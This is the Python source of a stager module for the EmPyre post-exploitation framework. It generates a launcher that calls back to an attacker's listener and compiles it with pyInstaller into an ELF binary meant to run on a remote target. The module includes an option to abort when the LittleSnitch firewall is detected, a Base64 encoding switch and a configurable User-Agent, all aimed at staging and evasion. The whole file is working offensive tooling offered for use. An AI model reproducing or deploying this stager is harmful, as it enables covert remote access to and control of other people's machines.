Files

142 lines
4.5 KiB
Python

from lib.common import helpers
"""
Install steps...
- install pyInstaller
-- try: apt-get -y install python-pip && pip install pyinstaller
- copy into stagers directory
-- ./EmPyre/lib/stagers/
- kick off the emPyre agent on a remote target
-- /tmp/emPyre &
@TweekFawkes
"""
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'pyInstaller Launcher',
'Author': ['@TweekFawkes'],
'Description': ('Generates an ELF binary payload launcher for EmPyre using pyInstaller.'),
'Comments': [
'Needs to have pyInstaller setup on the system you are creating the stager on. For debian based operatins systems try the following command: apt-get -y install python-pip && pip install pyinstaller'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'BinaryFile' : {
'Description' : 'File to output launcher to.',
'Required' : True,
'Value' : '/tmp/emPyre'
},
'LittleSnitch' : {
'Description' : 'Switch. Check for the LittleSnitch process, exit the staging process if it is running. Defaults to False.',
'Required' : True,
'Value' : 'False'
},
'Base64' : {
'Description' : 'Switch. Base64 encode the output. Defaults to False.',
'Required' : True,
'Value' : 'False'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
base64 = self.options['Base64']['Value']
userAgent = self.options['UserAgent']['Value']
LittleSnitch = self.options['LittleSnitch']['Value']
BinaryFile_Str = self.options['BinaryFile']['Value']
encode = False
if base64.lower() == "true":
encode = True
import subprocess
output_Str = subprocess.check_output(['which', 'pyinstaller'])
if output_Str == "":
print helpers.color("[!] Error pyInstaller is not installed")
print helpers.color("[!] Try: apt-get -y install python-pip && pip install pyinstaller")
return ""
else:
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, littlesnitch=LittleSnitch)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
filesToExtractImportsFrom_List = []
# pull the database connection object out of the main menu
self.conn = self.mainMenu.conn
# pull out the code install path from the database config
cur = self.conn.cursor()
cur.execute("SELECT install_path FROM config")
installPath_Str = cur.fetchone()[0]
cur.close()
import os
stagerFFP_Str = os.path.join(installPath_Str, "data/agent/stager.py")
filesToExtractImportsFrom_List.append(stagerFFP_Str)
agentFFP_Str = os.path.join(installPath_Str, "data/agent/agent.py")
filesToExtractImportsFrom_List.append(agentFFP_Str)
imports_List = []
for FullFilePath in filesToExtractImportsFrom_List:
with open(FullFilePath, 'r') as file:
for line in file:
line = line.strip()
if line.startswith('import '):
helpers.color(line)
imports_List.append(line)
elif line.startswith('from '):
helpers.color(line)
imports_List.append(line)
imports_List = list(set(imports_List)) # removing duplicate strings
imports_Str = "\n".join(imports_List)
launcher = imports_Str + "\n" + launcher
with open(BinaryFile_Str + ".py", "w") as text_file:
text_file.write("%s" % launcher)
import time
output_Str = subprocess.check_output(['pyinstaller', '-y', '--clean', '--specpath', os.path.dirname(BinaryFile_Str), '--distpath', os.path.dirname(BinaryFile_Str), '--workpath', '/tmp/'+str(time.time())+'-build/', '--onefile', BinaryFile_Str + '.py'])
return launcher